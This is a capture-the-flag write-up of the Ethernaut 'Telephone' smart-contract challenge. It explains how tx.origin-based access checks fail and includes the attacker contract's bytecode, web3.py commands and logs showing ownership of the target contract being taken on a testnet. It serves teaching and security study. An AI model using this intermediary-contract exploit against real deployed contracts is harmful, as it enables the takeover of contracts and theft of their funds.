Hacking Smart Contracts — Telephone

Ethernaut Telephone

The Tx.Origin

A lot of securing a smart contract, comes from implementing access controls to its logic. For sensible functions, for instance, withdrawing funds, you want to make sure only the authorised wallet/person, is able to call this function successfully, most of the times the person being the owner of the contract.

There are a small set of ways one can check who is the caller of a given function. In this scenario we will be looking at the Transaction object context and why its Origin attribute is not safe to rely on. Refer below for the next challenge code:

The Transaction and the Message Object

The Transaction Object (tx) provides a means of accessing transaction-related information, when EVM execute smart contract code, namely:

tx.gasprice: The gas price in the calling transaction.

tx.origin: The address of the originating address for this transaction.

The Message Object is the transaction call (EOA-External Owned Account originated) or message call (contract originated) that launched this contract execution. It contains a number of useful attributes:

msg.sender: It represents the address that initiated this contract call, not necessarily the originating EOA-External Owned Account that sent the transaction. If our contract was called directly by an EOA transaction, then this is the address that signed the transaction, but otherwise it will be a contract address.

msg.value: The value of ether sent with this call (in wei).

msg.gas: The amount of gas left in the gas supply of this execution environment. This was deprecated in Solidity v0.4.21 and replaced by the gasleft function.

msg.data: The data payload of this call into our contract.

msg.sig: The first four bytes of the data payload, which is the function selector.

Why you shouldn’t rely on Tx.Origin?

As we can understand from the above definition, Tx.Origin will refer to whoever initiated a given transaction. Lets say we have a direct interaction between Bob and Alpha contract:

In this interaction we will have the following context:

changeOwner Tx.Origin = Bob

changeOwner Msg.Sender = Bob

But what happens if we trigger a call that chains various intermediaries, lets say with Proxy contract:

For this two interactions we will have:

changeAlphaOwner Tx.Origin: Bob

changeAlphaOwner Msg.Sender: Bob

changeOwner Tx.Origin: Bob

changeOwner Msg.Sender: Proxy

As we can see from the diagram above, the following condition is easy to bypass:

if (tx.origin != msg.sender) {      
owner = _owner;
}

Exploitation Steps

Taking the above into account, the exploitation idea would be to deploy a malicious contract with a function that when called will exploit the target contract for us, by calling its vulnerable function.

Deploying the malicious contract

Refer below to the malicious contract and function that will deploy it, I left some comments to help understanding it:

Deploying the contract:

root@Web3 ❯ python
>>> from ethernaut_telephone import deploy_telephoneBreaker
[+] Loaded wallet addr: 0xC43D69354685c5718EC4549b7590808dc3f2b533 with balance: 0.689736185159327031
[+] Loaded target contract addr: 0x29e33EE1454651541A27a5b7e6753df8F634bFBA
[!] Deploying contract...
ABI:
[{'inputs': [{'internalType': 'address', 'name': 'newOwner', 'type': 'address'}, {'internalType': 'address', 'name': '_telephone', 'type': 'address'}], 'name': 'breakTelephone', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}]
Bytecode:
608060405234801561001057600080fd5b506102db806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c806361fef99214610030575b600080fd5b61004a600480360381019061004591906101aa565b61004c565b005b8073ffffffffffffffffffffffffffffffffffffffff168260405160240161007491906101f9565b6040516020818303038152906040527fa6f9dae1000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516100fe919061028e565b6000604051808303816000865af19150503d806000811461013b576040519150601f19603f3d011682016040523d82523d6000602084013e610140565b606091505b5050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006101778261014c565b9050919050565b6101878161016c565b811461019257600080fd5b50565b6000813590506101a48161017e565b92915050565b600080604083850312156101c1576101c0610147565b5b60006101cf85828601610195565b92505060206101e085828601610195565b9150509250929050565b6101f38161016c565b82525050565b600060208201905061020e60008301846101ea565b92915050565b600081519050919050565b600081905092915050565b60005b8381101561024857808201518184015260208101905061022d565b83811115610257576000848401525b50505050565b600061026882610214565b610272818561021f565b935061028281856020860161022a565b80840191505092915050565b600061029a828461025d565b91508190509291505056fea2646970667358221220a5b07cc4d845ddbcc26afd86abb25cec3c0ee1fe799b7655d4ebe8a8ad849e6b64736f6c634300080e0033
[+] Contract deployed at address: 0x4BF1408e5CB7Df91B9b933D54CEC8F27b7b7DBa1
>>> malicous_contract = w3.eth.contract(address=malicous_contract_addr,abi=malicous_contract_abi)

Calling the malicious function

Now that we have the malicious contract deploy, it should be as easy as calling its breakTelephone function, to exploit the vulnerable contract.

Note: One thing I noticed when doing this challenge, is that when building the transaction object, it only accounted for the gas necessary to call the function of the malicious contract, which does not account for the necessary gas to then call the vulnerable contract function. For this its necessary, when creating the transaction, that we add the necessary gas to the transaction, so it accounts to all the chain calls.

Calculating the necessary gas for the transaction

To calculate the necessary gas, lets build two transactions, one for the malicious contract and another for the target contract and sum the amounts, not only for gas but also for gas cost fees:

>>> malicious_contract_tx = malicous_contract.functions.breakTelephone(account.address, target_contract.address).buildTransaction({'from':account.address, 'nonce':w3.eth.get_transaction_count(account.address)})
>>> target_contract_tx = target_contract.functions.changeOwner(account.address).buildTransaction({'from':account.address, 'nonce':w3.eth.get_transaction_count(account.address)})
>>> malicious_contract_tx['maxPriorityFeePerGas'] += target_contract_tx['maxPriorityFeePerGas']
>>> malicious_contract_tx['maxFeePerGas'] = malicious_contract_tx['maxPriorityFeePerGas'] + w3.eth.get_block('latest').get('baseFeePerGas')
>>> malicious_contract_tx['gas'] += target_contract_tx['gas']
>>> malicious_contract_tx
{'value': 0, 'gas': 51631, 'maxFeePerGas': 3000000010, 'maxPriorityFeePerGas': 3000000000, 'chainId': 4, 'from': '0xC43D69354685c5718EC4549b7590808dc3f2b533', 'nonce': 164, 'to': '0x1975168A1EC9ff418652c711b80DB31c2839755D', 'data': '0x61fef992000000000000000000000000c43d69354685c5718ec4549b7590808dc3f2b533000000000000000000000000082c1a650edc330154f0aaec95175430f75de277'}

Actual exploitation of the vulnerability

Now everything is setup for the final call to successfully own the target contract:

>>> signed_tx = w3.eth.account.sign_transaction(malicious_contract_tx, read_wallet_key())
>>> tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction)
>>> print(f"[+] TxHash: {tx_hash.hex()}")
[+] TxHash: 0xcd48c6a9fc5d41bc1edb03dba40873fc48d181aefab07e3f2e9d30e750a743d6
>>> tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
>>> owner = target_contract.functions.owner().call()
>>> print(f"Target Contract Owner is: {owner}")
Target Contract Owner is: 0xC43D69354685c5718EC4549b7590808dc3f2b533

For reference, the final code can be seen below, this will deploy the malicious contract and do the necessary steps to change the owner of the vulnerable contract:

Output:

root@Web3 ❯ python -i ethernaut_telephone.py                                                        [+] Loaded wallet addr: 0xC43D69354685c5718EC4549b7590808dc3f2b533 with balance: 0.687934011080365708
[+] Loaded target contract addr: 0x082C1a650EdC330154f0AAEC95175430f75de277
[!] Deploying contract...
ABI:
[{'inputs': [{'internalType': 'address', 'name': 'newOwner', 'type': 'address'}, {'internalType': 'address', 'name': '_telephone', 'type': 'address'}], 'name': 'breakTelephone', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}]
Bytecode:
608060405234801561001057600080fd5b506102db806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c806361fef99214610030575b600080fd5b61004a600480360381019061004591906101aa565b61004c565b005b8073ffffffffffffffffffffffffffffffffffffffff168260405160240161007491906101f9565b6040516020818303038152906040527fa6f9dae1000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516100fe919061028e565b6000604051808303816000865af19150503d806000811461013b576040519150601f19603f3d011682016040523d82523d6000602084013e610140565b606091505b5050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006101778261014c565b9050919050565b6101878161016c565b811461019257600080fd5b50565b6000813590506101a48161017e565b92915050565b600080604083850312156101c1576101c0610147565b5b60006101cf85828601610195565b92505060206101e085828601610195565b9150509250929050565b6101f38161016c565b82525050565b600060208201905061020e60008301846101ea565b92915050565b600081519050919050565b600081905092915050565b60005b8381101561024857808201518184015260208101905061022d565b83811115610257576000848401525b50505050565b600061026882610214565b610272818561021f565b935061028281856020860161022a565b80840191505092915050565b600061029a828461025d565b91508190509291505056fea2646970667358221220a5b07cc4d845ddbcc26afd86abb25cec3c0ee1fe799b7655d4ebe8a8ad849e6b64736f6c634300080e0033
[+] Contract deployed at address: 0x68f4af533321E3Cb831022C027fb307371C26270
[+] TxHash: 0x9245236ea1115b529779996fcf6ee35069b55778c61bbcf4388de7418757c19d
Target Contract Owner is: 0xC43D69354685c5718EC4549b7590808dc3f2b533

References

Big props to @the_ethernaut for creating the content.

Share: Twitter LinkedIn